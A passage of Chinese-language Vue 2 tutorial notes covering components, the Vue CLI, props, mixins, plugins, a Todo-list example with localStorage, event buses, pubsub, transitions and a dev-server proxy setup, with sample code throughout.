			template:`
				<div>
					<h2>{{msg}}</h2>
					<test></test>	
				</div>
			`,
			data(){
				return {
					msg:'你好啊!'
				}
			},
			components:{test}
		})


		// console.log('@',school)
		// console.log('#',hello)

		// 创建 vm
		const vm = new Vue({
			el:'#root',
			components:{school,hello}
		})
	</script>
</html>

2.2.5 一个重要的内置关系

  1. 一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
  2. 为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue 原型上的属性、方法。
    在这里插入图片描述
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>一个重要的内置关系</title>
		<!-- 引入 Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<school></school>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false // 阻止 vue 在启动时生成生产提示。
		Vue.prototype.x = 99

		// 定义 school 组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<button @click="showX">点我输出x</button>
				</div>
			`,
			data(){
				return {
					name:'world',
					address:'北京'
				}
			},
			methods: {
				showX(){
					console.log(this.x)
				}
			},
		})

		// 创建一个 vm
		const vm = new Vue({
			el:'#root',
			data:{
				msg:'你好'
			},
			components:{school}
		})

		
		// 定义一个构造函数
		/* function Demo(){
			this.a = 1
			this.b = 2
		}
		// 创建一个 Demo 的实例对象
		const d = new Demo()

		console.log(Demo.prototype) // 显示原型属性

		console.log(d.__proto__) // 隐式原型属性

		console.log(Demo.prototype === d.__proto__)

		// 程序员通过显示原型属性操作原型对象,追加一个x属性,值为99
		Demo.prototype.x = 99

		console.log('@',d) */

	</script>
</html>

2.3 单文件组件

2.3.1 一个.vue 文件的组成

  1. 模板页面
<template>
	页面模板
</template>
  1. JS 模块对象
<script>
	export default {
		data() {return {}},
		methods: {},
		computed: {},
		components: {}
	} 
</script>
  1. 样式
<style>
   样式定义
</style>

2.3.2 基本使用

5.引入组件
6.映射成标签
7.使用组件标签

School.vue

<template>
	<div class="demo">
		<h2>学校名称:{{name}}</h2>
		<h2>学校地址:{{address}}</h2>
		<button @click="showName">点我提示学校名</button>	
	</div>
</template>

<script>
	 export default {
		name:'School',
		data(){
			return {
				name:'world',
				address:'北京昌平'
			}
		},
		methods: {
			showName(){
				alert(this.name)
			}
		},
	}
</script>

<style>
	.demo{
		background-color: orange;
	}
</style>

Student.vue

<template>
	<div>
		<h2>学生姓名:{{name}}</h2>
		<h2>学生年龄:{{age}}</h2>
	</div>
</template>

<script>
	 export default {
		name:'Student',
		data(){
			return {
				name:'张三',
				age:18
			}
		}
	}
</script>

App.vue

<template>
	<div>
		<School></School>
		<Student></Student>
	</div>
</template>

<script>
	// 引入组件
	import School from './School.vue'
	import Student from './Student.vue'

	export default {
		name:'App',
		components:{
			School,
			Student
		}
	}
</script>

main.js

import App from './App.vue'

new Vue({
	el:'#root',
	template:`<App></App>`,
	components:{App},
})

index.html

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>练习一下单文件组件的语法</title>
	</head>
	<body>
		<!-- 准备一个容器 -->
		<div id="root"></div>
		<!-- <script type="text/javascript" src="../js/vue.js"></script> -->
		<!-- <script type="text/javascript" src="./main.js"></script> -->
	</body>
</html>

第3章:使用 Vue 脚手架

3.1 初始化脚手架

3.1.1 说明

  1. Vue 脚手架是 Vue 官方提供的标准化开发工具(开发平台)。
  2. 最新的版本是 4.x。
  3. 文档: https://cli.vuejs.org/zh/

3.1.2 具体步骤

第一步(仅第一次执行):全局安装@vue/cli。

npm install -g @vue/cli

第二步:切换到你要创建项目的目录,然后使用命令创建项目

vue create xxxx

第三步:启动项目

npm run serve

备注:

1.如出现下载缓慢请配置 npm 淘宝镜像:

npm config set registry https://registry.npm.taobao.org

2.Vue 脚手架隐藏了所有 webpack 相关的配置,若想查看具体的 webpakc 配置,请执行:

vue inspect > output.js

3.1.3 模板项目的结构

├── node_modules
├── public
│ ├── favicon.ico: 页签图标
│ └── index.html: 主页面
├── src
│ ├── assets: 存放静态资源
│ │ └── logo.png
│ │── component: 存放组件
│ │ └── HelloWorld.vue
│ │── App.vue: 汇总所有组件
│ │── main.js: 入口文件
├── .gitignore: git 版本管制忽略的配置
├── babel.config.js: babel 的配置文件
├── package.json: 应用包配置文件
├── README.md: 应用描述文件
├── package-lock.json:包版本控制文件

关于不同版本的Vue

  1. vue.js与vue.runtime.xxx.js的区别:
    1. vue.js是完整版的Vue,包含:核心功能 + 模板解析器。
    2. vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。
  2. 因为vue.runtime.xxx.js没有模板解析器,所以不能使用template这个配置项,需要使用render函数接收到的createElement函数去指定具体内容。

3.2 ref 与 props

3.2.1 ref

  1. 作用:用于给节点打标识
  2. 读取方式:this.$refs.xxxxxx

  1. 被用来给元素或子组件注册引用信息(id 的替代者)
  2. 应用在 html 标签上获取的是真实 DOM 元素,应用在组件标签上是组件实例对象(vc)
  3. 使用方式:
    1. 打标识:<h1 ref="xxx">.....</h1><School ref="xxx"></School>
    2. 获取:this.$refs.xxx
<template>
  <div>
    <h1 v-text="msg" ref="title"></h1>
    <button @click="showDom" ref="btn">点我获取DOM元素</button>
    <MySchool ref="ms" />
    <MySchool />
  </div>
</template>

<script>
import MySchool from './components/MySchool';

    export default {
            name: 'App',
            components: {
            MySchool,
        },
        data() {
            return {
                msg:'欢迎来到Vue学习'
            }
        },
        methods: {
            showDom(){
                console.log(this.$refs);
                console.log(this.$refs.title); //真实DOM元素
                console.log(this.$refs.btn); //真实DOM元素
                console.log(this.$refs.ms); //MySchool组件的实例对象(vc)
            }
        }
    }
</script>

<style>
</style>

3.2.2 props

  1. 作用:用于父组件给子组件传递数据
  2. 读取方式一: 只指定名称

  1. 功能:让组件接收外部传过来的数据

  2. 传递数据:<Demo name="xxx"/>

  3. 接收数据:

    1. 第一种方式(只接收):props:['name']

    2. 第二种方式(限制类型):props:{name:String}

    3. 第三种方式(限制类型、限制必要性、指定默认值):

       props:{
       	name:{
       	type:String, //类型
       	required:true, //必要性
       	default:'老王' //默认值
       	}
       }
    

    备注:props 是只读的,Vue 底层会监测你对 props 的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制 props 的内容到 data 中一份,然后去修改 data 中的数据。

props: ['name', 'age', 'setName']
  1. 读取方式二: 指定名称和类型
props: {
	name: String,
	age: Number,
	setNmae: Function	
}
  1. 读取方式三: 指定名称/类型/必要性/默认值
props: {
	name: {type: String, required: true, default:xxx},
}

Student.vue

<template>
	<div>
		<h1>{{msg}}</h1>
		<h2>学生姓名:{{name}}</h2>
		<h2>学生性别:{{sex}}</h2>
		<h2>学生年龄:{{myAge+1}}</h2>
		<button @click="updateAge">尝试修改收到的年龄</button>
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			console.log(this)
			return {
				msg:'我是一个学生',
				myAge:this.age
			}
		},
		methods: {
			updateAge(){
				this.myAge++
			}
		},
		// 简单声明接收
		// props:['name','age','sex'] 

		// 接收的同时对数据进行类型限制
		/* props:{
			name:String,
			age:Number,
			sex:String
		} */

		// 接收的同时对数据:进行类型限制+默认值的指定+必要性的限制
		props:{
			name:{
				type:String, // name 的类型是字符串
				required:true, // name 是必要的
			},
			age:{
				type:Number,
				default:99 // 默认值
			},
			sex:{
				type:String,
				required:true
			}
		}
	}
</script>

App.vue

<template>
	<div>
		<Student name="李四" sex="" :age="18"/>
	</div>
</template>

<script>
	import Student from './components/Student'

	export default {
		name:'App',
		components:{Student}
	}
</script>

3.3 混入

  1. Vue 插件是一个包含 install 方法的对象
  2. 通过 install 方法给 Vue 或 Vue 实例添加方法, 定义全局指令等

  1. 功能:可以把多个组件共用的配置提取成一个混入对象

  2. 使用方式:

    第一步定义混合:

    {
        data(){....},
        methods:{....}
        ....
    }
    

    第二步使用混入:

    ​ 全局混入:Vue.mixin(xxx)
    ​ 局部混入:mixins:['xxx']

mixin.js

export const hunhe = {
	methods: {
		showName(){
			alert(this.name)
		}
	},
	mounted() {
		console.log('你好啊!')
	},
}
export const hunhe2 = {
	data() {
		return {
			x:100,
			y:200
		}
	},
}

School.vue

<template>
	<div>
		<h2 @click="showName">学校名称:{{name}}</h2>
		<h2>学校地址:{{address}}</h2>
	</div>
</template>

<script>
	// 引入一个 hunhe
	// import {hunhe,hunhe2} from '../mixin'

	export default {
		name:'School',
		data() {
			return {
				name:'理工大学',
				address:'北京',
				x:666
			}
		},
		// mixins:[hunhe,hunhe2],
	}
</script>

Student.vue

<template>
	<div>
		<h2 @click="showName">学生姓名:{{name}}</h2>
		<h2>学生性别:{{sex}}</h2>
	</div>
</template>

<script>
	// import {hunhe,hunhe2} from '../mixin'

	export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男'
			}
		},
		// mixins:[hunhe,hunhe2]
	}
</script>

main.js

// 引入 Vue
import Vue from 'vue'
// 引入 App
import App from './App.vue'
import {hunhe,hunhe2} from './mixin'
// 关闭 Vue 的生产提示
Vue.config.productionTip = false

// 全局混入
Vue.mixin(hunhe)
Vue.mixin(hunhe2)


// 创建 vm
new Vue({
	el:'#app',
	render: h => h(App)
})

3.4 插件

  1. Vue 插件是一个包含 install 方法的对象
  2. 通过 install 方法给 Vue 或 Vue 实例添加方法, 定义全局指令等

  1. 功能:用于增强 Vue

  2. 本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据。

  3. 定义插件:

    对象.install = function (Vue, options) {
        // 1. 添加全局过滤器
        Vue.filter(....)
    
        // 2. 添加全局指令
        Vue.directive(....)
    
        // 3. 配置全局混入(合)
        Vue.mixin(....)
    
        // 4. 添加实例方法
        Vue.prototype.$myMethod = function () {...}
        Vue.prototype.$myProperty = xxxx
    }
    
  4. 使用插件:Vue.use()

plugin.js

export default {
	install(Vue,x,y,z){
		console.log(x,y,z)
		// 全局过滤器
		Vue.filter('mySlice',function(value){
			return value.slice(0,4)
		})

		// 定义全局指令
		Vue.directive('fbind',{
			// 指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value
			},
			// 指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			// 指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		})

		// 定义混入
		Vue.mixin({
			data() {
				return {
					x:100,
					y:200
				}
			},
		})

		// 给 Vue 原型上添加一个方法(vm 和 vc 就都能用了)
		Vue.prototype.hello = ()=>{alert('你好啊')}
	}
}

main.js

// 引入 Vue
import Vue from 'vue'
// 引入 App
import App from './App.vue'
// 引入插件
import plugins from './plugins'
// 关闭 Vue 的生产提示
Vue.config.productionTip = false

//应用(使用)插件
Vue.use(plugins,1,2,3)
// 创建 vm
new Vue({
	el:'#app',
	render: h => h(App)
})

scoped样式

  1. 作用:让样式在局部生效,防止冲突。
  2. 写法:<style scoped>
<template>
	<div class="demo">
		<h2 class="title">学生姓名:{{name}}</h2>
		<h2 class="atguigu">学生性别:{{sex}}</h2>
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男'
			}
		}
	}
</script>

<style lang="less" scoped>
	.demo{
		background-color: pink;
		.at{
			font-size: 40px;
		}
	}
</style>

3.5 Todo-list 案例

在这里插入图片描述

App.vue

<template>
	<div id="root">
		<div class="todo-container">
			<div class="todo-wrap">
				<MyHeader :addTodo="addTodo"/>
				<MyList :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo"/>
				<MyFooter :todos="todos" :checkAllTodo="checkAllTodo" :clearAllTodo="clearAllTodo"/>
			</div>
		</div>
	</div>
</template>

<script>
	import MyHeader from './components/MyHeader'
	import MyList from './components/MyList'
	import MyFooter from './components/MyFooter.vue'

	export default {
		name:'App',
		components:{MyHeader,MyList,MyFooter},
		data() {
			return {
				//由于todos是MyHeader组件和MyFooter组件都在使用,所以放在App中(状态提升)
				todos:[
					{id:'001',title:'抽烟',done:true},
					{id:'002',title:'喝酒',done:false},
					{id:'003',title:'开车',done:true}
				]
			}
		},
		methods: {
			//添加一个todo
			addTodo(todoObj){
				this.todos.unshift(todoObj)
			},
			//勾选or取消勾选一个todo
			checkTodo(id){
				this.todos.forEach((todo)=>{
					if(todo.id === id) todo.done = !todo.done
				})
			},
			//删除一个todo
			deleteTodo(id){
				this.todos = this.todos.filter( todo => todo.id !== id )
			},
			//全选or取消全选
			checkAllTodo(done){
				this.todos.forEach((todo)=>{
					todo.done = done
				})
			},
			//清除所有已经完成的todo
			clearAllTodo(){
				this.todos = this.todos.filter((todo)=>{
					return !todo.done
				})
			}
		}
	}
</script>

<style>
	/*base*/
	body {
		background: #fff;
	}
	.btn {
		display: inline-block;
		padding: 4px 12px;
		margin-bottom: 0;
		font-size: 14px;
		line-height: 20px;
		text-align: center;
		vertical-align: middle;
		cursor: pointer;
		box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
		border-radius: 4px;
	}
	.btn-danger {
		color: #fff;
		background-color: #da4f49;
		border: 1px solid #bd362f;
	}
	.btn-danger:hover {
		color: #fff;
		background-color: #bd362f;
	}
	.btn:focus {
		outline: none;
	}
	.todo-container {
		width: 600px;
		margin: 0 auto;
	}
	.todo-container .todo-wrap {
		padding: 10px;
		border: 1px solid #ddd;
		border-radius: 5px;
	}
</style>

MyHeader.vue

<template>
	<div class="todo-header">
		<input type="text" placeholder="请输入你的任务名称,按回车键确认" v-model="title" @keyup.enter="add"/>
	</div>
</template>

<script>
	import {nanoid} from 'nanoid'
	export default {
		name:'MyHeader',
		//接收从App传递过来的addTodo
		props:['addTodo'],
		data() {
			return {
				//收集用户输入的title
				title:''
			}
		},
		methods: {
			add(){
				//校验数据
				if(!this.title.trim()) return alert('输入不能为空')
				//将用户的输入包装成一个todo对象
				const todoObj = {id:nanoid(),title:this.title,done:false}
				//通知App组件去添加一个todo对象
				this.addTodo(todoObj)
				//清空输入
				this.title = ''
			}
		},
	}
</script>

<style scoped>
	/*header*/
	.todo-header input {
		width: 560px;
		height: 28px;
		font-size: 14px;
		border: 1px solid #ccc;
		border-radius: 4px;
		padding: 4px 7px;
	}

	.todo-header input:focus {
		outline: none;
		border-color: rgba(82, 168, 236, 0.8);
		box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
	}
</style>

MyList.vue

<template>
	<ul class="todo-main">
		<MyItem 
			v-for="todoObj in todos"
			:key="todoObj.id" 
			:todo="todoObj" 
			:checkTodo="checkTodo"
			:deleteTodo="deleteTodo"
		/>
	</ul>
</template>

<script>
	import MyItem from './MyItem'

	export default {
		name:'MyList',
		components:{MyItem},
		//声明接收App传递过来的数据,其中todos是自己用的,checkTodo和deleteTodo是给子组件MyItem用的
		props:['todos','checkTodo','deleteTodo']
	}
</script>

<style scoped>
	/*main*/
	.todo-main {
		margin-left: 0px;
		border: 1px solid #ddd;
		border-radius: 2px;
		padding: 0px;
	}

	.todo-empty {
		height: 40px;
		line-height: 40px;
		border: 1px solid #ddd;
		border-radius: 2px;
		padding-left: 5px;
		margin-top: 10px;
	}
</style>

MyItem.vue

<template>
	<li>
		<label>
			<input type="checkbox" :checked="todo.done" @change="handleCheck(todo.id)"/>
			<!-- 如下代码也能实现功能,但是不太推荐,因为有点违反原则,因为修改了props -->
			<!-- <input type="checkbox" v-model="todo.done"/> -->
			<span>{{todo.title}}</span>
		</label>
		<button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button>
	</li>
</template>

<script>
	export default {
		name:'MyItem',
		//声明接收todo、checkTodo、deleteTodo
		props:['todo','checkTodo','deleteTodo'],
		methods: {
			//勾选or取消勾选
			handleCheck(id){
				//通知App组件将对应的todo对象的done值取反
				this.checkTodo(id)
			},
			//删除
			handleDelete(id){
				if(confirm('确定删除吗?')){
					//通知App组件将对应的todo对象删除
					this.deleteTodo(id)
				}
			}
		},
	}
</script>

<style scoped>
	/*item*/
	li {
		list-style: none;
		height: 36px;
		line-height: 36px;
		padding: 0 5px;
		border-bottom: 1px solid #ddd;
	}

	li label {
		float: left;
		cursor: pointer;
	}

	li label li input {
		vertical-align: middle;
		margin-right: 6px;
		position: relative;
		top: -1px;
	}

	li button {
		float: right;
		display: none;
		margin-top: 3px;
	}

	li:before {
		content: initial;
	}

	li:last-child {
		border-bottom: none;
	}

	li:hover{
		background-color: #ddd;
	}
	
	li:hover button{
		display: block;
	}
</style>

MyFooter.vue

<template>
	<div class="todo-footer" v-show="total">
		<label>
			<!-- <input type="checkbox" :checked="isAll" @change="checkAll"/> -->
			<input type="checkbox" v-model="isAll"/>
		</label>
		<span>
			<span>已完成{{doneTotal}}</span> / 全部{{total}}
		</span>
		<button class="btn btn-danger" @click="clearAll">清除已完成任务</button>
	</div>
</template>

<script>
	export default {
		name:'MyFooter',
		props:['todos','checkAllTodo','clearAllTodo'],
		computed: {
			//总数
			total(){
				return this.todos.length
			},
			//已完成数
			doneTotal(){
				//此处使用reduce方法做条件统计
				/* const x = this.todos.reduce((pre,current)=>{
					console.log('@',pre,current)
					return pre + (current.done ? 1 : 0)
				},0) */
				//简写
				return this.todos.reduce((pre,todo)=> pre + (todo.done ? 1 : 0) ,0)
			},
			//控制全选框
			isAll:{
				//全选框是否勾选
				get(){
					return this.doneTotal === this.total && this.total > 0
				},
				//isAll被修改时set被调用
				set(value){
					this.checkAllTodo(value)
				}
			}
		},
		methods: {
			/* checkAll(e){
				this.checkAllTodo(e.target.checked)
			} */
			//清空所有已完成
			clearAll(){
				this.clearAllTodo()
			}
		},
	}
</script>

<style scoped>
	/*footer*/
	.todo-footer {
		height: 40px;
		line-height: 40px;
		padding-left: 6px;
		margin-top: 5px;
	}

	.todo-footer label {
		display: inline-block;
		margin-right: 20px;
		cursor: pointer;
	}

	.todo-footer label input {
		position: relative;
		top: -1px;
		vertical-align: middle;
		margin-right: 5px;
	}

	.todo-footer button {
		float: right;
		margin-top: 5px;
	}
</style>

总结TodoList案例

  1. 组件化编码流程:

    ​ (1). 拆分静态组件:组件要按照功能点拆分,命名不要与 html 元素冲突。

    ​ (2). 实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:

    ​ 1).一个组件在用:放在组件自身即可。

    ​ 2). 一些组件在用:放在他们共同的父组件上(状态提升)。

    ​ (3).实现交互:从绑定事件开始。

  2. props 适用于:

    ​ (1).父组件 ==> 子组件 通信

    ​ (2).子组件 ==> 父组件 通信(要求父先给子一个函数)

  3. 使用 v-model 时要切记:v-model 绑定的值不能是 props 传过来的值,因为 props 是不可以修改的!

  4. props 传过来的若是对象类型的值,修改对象中的属性时 Vue 不会报错,但不推荐这样做。

webStorage

  1. 存储内容大小一般支持 5 MB 左右(不同浏览器可能还不一样)

  2. 浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。

  3. 相关 API:

    1. xxxxxStorage.setItem('key', 'value');
      该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。

    2. xxxxxStorage.getItem('person');

      ​ 该方法接受一个键名作为参数,返回键名对应的值。

    3. xxxxxStorage.removeItem('key');

      ​ 该方法接受一个键名作为参数,并把该键名从存储中删除。

    4. xxxxxStorage.clear()

      ​ 该方法会清空存储中的所有数据。

  4. 备注:

    1. SessionStorage存储的内容会随着浏览器窗口关闭而消失。
    2. LocalStorage存储的内容,需要手动清除才会消失。
    3. xxxxxStorage.getItem(xxx)如果xxx对应的value获取不到,那么getItem的返回值是null。
    4. JSON.parse(null)的结果依然是null。

组件化编码流程(通用)

1.实现静态组件:抽取组件,使用组件实现静态页面效果

2.展示动态数据:
2.1. 数据的类型、名称是什么?
2.2. 数据保存在哪个组件?

3.交互——从绑定事件监听开始

本地存储
<template>
	<div id="root">
		<div class="todo-container">
			<div class="todo-wrap">
				<MyHeader :addTodo="addTodo"/>
				<MyList :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo"/>
				<MyFooter :todos="todos" :checkAllTodo="checkAllTodo" :clearAllTodo="clearAllTodo"/>
			</div>
		</div>
	</div>
</template>

<script>
	import MyHeader from './components/MyHeader'
	import MyList from './components/MyList'
	import MyFooter from './components/MyFooter.vue'

	export default {
		name:'App',
		components:{MyHeader,MyList,MyFooter},
		data() {
			return {
				//由于todos是MyHeader组件和MyFooter组件都在使用,所以放在App中(状态提升)
				todos:JSON.parse(localStorage.getItem('todos')) || []
			}
		},
		methods: {
			//添加一个todo
			addTodo(todoObj){
				this.todos.unshift(todoObj)
			},
			//勾选or取消勾选一个todo
			checkTodo(id){
				this.todos.forEach((todo)=>{
					if(todo.id === id) todo.done = !todo.done
				})
			},
			//删除一个todo
			deleteTodo(id){
				this.todos = this.todos.filter( todo => todo.id !== id )
			},
			//全选or取消全选
			checkAllTodo(done){
				this.todos.forEach((todo)=>{
					todo.done = done
				})
			},
			//清除所有已经完成的todo
			clearAllTodo(){
				this.todos = this.todos.filter((todo)=>{
					return !todo.done
				})
			}
		},
		watch: {
			todos:{
				deep:true,
				handler(value){
					localStorage.setItem('todos',JSON.stringify(value))
				}
			}
		},
	}
</script>

<style>
	/*base*/
	body {
		background: #fff;
	}
	.btn {
		display: inline-block;
		padding: 4px 12px;
		margin-bottom: 0;
		font-size: 14px;
		line-height: 20px;
		text-align: center;
		vertical-align: middle;
		cursor: pointer;
		box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
		border-radius: 4px;
	}
	.btn-danger {
		color: #fff;
		background-color: #da4f49;
		border: 1px solid #bd362f;
	}
	.btn-danger:hover {
		color: #fff;
		background-color: #bd362f;
	}
	.btn:focus {
		outline: none;
	}
	.todo-container {
		width: 600px;
		margin: 0 auto;
	}
	.todo-container .todo-wrap {
		padding: 10px;
		border: 1px solid #ddd;
		border-radius: 5px;
	}
</style>

3.6 Vue 中的自定义事件

  1. 一种组件间通信的方式,适用于:子组件 ===> 父组件

  2. 使用场景:A 是父组件,B 是子组件,B 想给 A 传数据,那么就要在 A 中给 B 绑定自定义事件(事件的回调在 A 中)。

  3. 绑定自定义事件:

    1. 第一种方式,在父组件中:<Demo @atguigu="test"/><Demo v-on:atguigu="test"/>

    2. 第二种方式,在父组件中:

      <Demo ref="demo"/>
      ......
      mounted(){
         this.$refs.xxx.$on('atguigu',this.test)
      }
      
    3. 若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。

  4. 触发自定义事件:this.$emit('atguigu',数据)

  5. 解绑自定义事件this.$off('atguigu')

  6. 组件上也可以绑定原生DOM事件,需要使用native修饰符。

  7. 注意:通过this.$refs.xxx.$on('atguigu',回调)绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this指向会出问题!

父组件 App.vue

<template>
	<div class="app">
		<h1>{{msg}},学生姓名是:{{studentName}}</h1>

		<!-- 通过父组件给子组件传递函数类型的props实现:子给父传递数据 -->
		<School :getSchoolName="getSchoolName"/>

		<!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第一种写法,使用@或v-on) -->
		<!-- <Student @atguigu="getStudentName" @demo="m1"/> -->

		<!-- 通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第二种写法,使用ref) -->
		<Student ref="student" @click.native="show"/>
	</div>
</template>

<script>
	import Student from './components/Student'
	import School from './components/School'

	export default {
		name:'App',
		components:{School,Student},
		data() {
			return {
				msg:'你好啊!',
				studentName:''
			}
		},
		methods: {
			getSchoolName(name){
				console.log('App收到了学校名:',name)
			},
			getStudentName(name,...params){
				console.log('App收到了学生名:',name,params)
				this.studentName = name
			},
			m1(){
				console.log('demo事件被触发了!')
			},
			show(){
				alert(123)
			}
		},
		mounted() {
			this.$refs.student.$on('atguigu',this.getStudentName) //绑定自定义事件
			// this.$refs.student.$once('atguigu',this.getStudentName) //绑定自定义事件(一次性)
		},
	}
</script>

<style scoped>
	.app{
		background-color: gray;
		padding: 5px;
	}
</style>

3.6.1 绑定事件监听

<Header @addTodo="addTodo"/>
或者
<Header ref="header"/>
this.$refs.header.$on('addTodo', this.addTodo)

3.6.2 触发事件

this.$emit('addTodo', todo)

3.7 全局事件总线

  1. 一种组件间通信的方式,适用于任意组件间通信。

  2. 安装全局事件总线:

    new Vue({
    	......
    	beforeCreate() {
    		Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
    	},
        ......
    }) 
    
  3. 使用事件总线:

    1. 接收数据:A 组件想接收数据,则在 A 组件中给 $bus 绑定自定义事件,事件的回调留在 A 组件自身。

      methods(){
        demo(data){......}
      }
      ......
      mounted() {
        this.$bus.$on('xxxx',this.demo)
      }
      
    2. 提供数据:this.$bus.$emit('xxxx',数据)

  4. 最好在 beforeDestroy 钩子中,用 $off 去解绑当前组件所用到的事件。

3.7.1 理解

  1. Vue 原型对象上包含事件

  2. 处理的方法
    $on(eventName, listener): 绑定自定义事件监听
    emit(eventName, data): 分发自定义事件
    $off(eventName): 解绑自定义事件监听
    $once(eventName, listener): 绑定事件监听, 但只能处理一次

  3. 所有组件实例对象的原型对象的原型对象就是 Vue 的原型对象

    • 所有组件对象都能看到 Vue 原型对象上的属性和方法
    • Vue.prototype.$bus = new Vue(), 所有的组件对象都能看到 $bus 这个属性对象

  1. 全局事件总线
    1. 包含事件处理相关方法的对象(只有一个)
    2. 所有的组件都可以得到

3.7.2 指定事件总线对象

new Vue({
	beforeCreate () { // 尽量早的执行挂载全局事件总线对象的操作
		Vue.prototype.$globalEventBus = this
	},
}).$mount('#root')

3.7.3 绑定事件

this.$globalEventBus.$on('deleteTodo', this.deleteTodo)

3.7.4 分发事件

this.$globalEventBus.$emit('deleteTodo', this.index)

3.7.5 解绑事件

this.$globalEventBus.$off('deleteTodo')

3.8 消息订阅与发布

  1. 一种组件间通信的方式,适用于任意组件间通信。

  2. 使用步骤:

    1. 安装 pubsub:npm i pubsub-js

    2. 引入: import pubsub from 'pubsub-js'

    3. 接收数据:A 组件想接收数据,则在 A 组件中订阅消息,订阅的回调留在 A 组件自身。

      methods(){
        demo(data){......}
      }
      ......
      mounted() {
        this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息
      }
      
    4. 提供数据:pubsub.publish('xxx',数据)

    5. 最好在 beforeDestroy 钩子中,用PubSub.unsubscribe(pid)去取消订阅。

3.8.1 理解

  1. 这种方式的思想与全局事件总线很相似
  2. 它包含以下操作:
    (1) 订阅消息 --对应绑定事件监听
    (2) 发布消息 --分发事件
    (3) 取消消息订阅 --解绑事件监听
  3. 需要引入一个消息订阅与发布的第三方实现库: PubSubJS

3.8.2 使用 PubSubJS

  1. 在线文档: https://github.com/mroderick/PubSubJS
  2. 下载:
npm install -S pubsub-js
  1. 相关语法
    (1) import PubSub from ‘pubsub-js’ // 引入
    (2) PubSub.subscribe(‘msgName’, functon(msgName, data){ })
    (3) PubSub.publish(‘msgName’, data): 发布消息, 触发订阅的回调函数调用
    (4) PubSub.unsubscribe(token): 取消消息的订阅

nextTick

  1. 语法:this.$nextTick(回调函数)
  2. 作用:在下一次 DOM 更新结束后执行其指定的回调。
  3. 什么时候用:当改变数据后,要基于更新后的新 DOM 进行某些操作时,要在 nextTick 所指定的回调函数中执行。

3.9 过度与动画

  1. 作用:在插入、更新或移除 DOM 元素时,在合适的时候给元素添加样式类名。

  2. 图示:

  3. 写法:

    1. 准备好样式:

      • 元素进入的样式:
        1. v-enter:进入的起点
        2. v-enter-active:进入过程中
        3. v-enter-to:进入的终点
      • 元素离开的样式:
        1. v-leave:离开的起点
        2. v-leave-active:离开过程中
        3. v-leave-to:离开的终点
    2. 使用<transition>包裹要过度的元素,并配置 name 属性:

      <transition name="hello">
      	<h1 v-show="isShow">你好啊!</h1>
      </transition>
      
    3. 备注:若有多个元素需要过度,则需要使用:<transition-group>,且每个元素都要指定key值。

3.9.1 效果

在这里插入图片描述

3.9.2 vue 动画的理解

  1. 操作 css 的 trasition 或 animation
  2. vue 会给目标元素添加/移除特定的 class
  3. 过渡的相关类名:
    1). xxx-enter-active: 指定显示的 transition
    2). xxx-leave-active: 指定隐藏的 transition
    3). xxx-enter/xxx-leave-to: 指定隐藏时的样式

在这里插入图片描述

3.9.3 基本过渡动画的编码

在目标元素外包裹<transition name="xxx">
2. 定义 class 样式
a) 指定过渡样式: transition
b) 指定隐藏时的样式: opacity/其它

第 4 章:Vue 中的 ajax

4. 1 解决开发环境 Ajax 跨域问题

使用代理服务器

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	beforeCreate() {
		Vue.prototype.$bus = this
	},
})

vue.config.js

module.exports = {
  pages: {
    index: {
      //入口
      entry: 'src/main.js',
    },
  },
	lintOnSave:false, //关闭语法检查
	//开启代理服务器(方式一)
	/* devServer: {
    proxy: 'http://localhost:5000'
  }, */
	//开启代理服务器(方式二)
	devServer: {
    proxy: {
      '/atguigu': {
        target: 'http://localhost:5000',
				pathRewrite:{'^/atguigu':''},
        // ws: true, //用于支持websocket
        // changeOrigin: true //用于控制请求头中的host值
      },
      '/demo': {
        target: 'http://localhost:5001',
				pathRewrite:{'^/demo':''},
        // ws: true, //用于支持websocket
        // changeOrigin: true //用于控制请求头中的host值
      }
    }
  }
}

App.vue

<template>
	<div>
		<button @click="getStudents">获取学生信息</button>
		<button @click="getCars">获取汽车信息</button>
	</div>
</template>

<script>
	import axios from 'axios'
	export default {
		name:'App',
		methods: {
			getStudents(){
				axios.get('http://localhost:8080/students').then(
					response => {
						console.log('请求成功了',response.data)
					},
					error => {
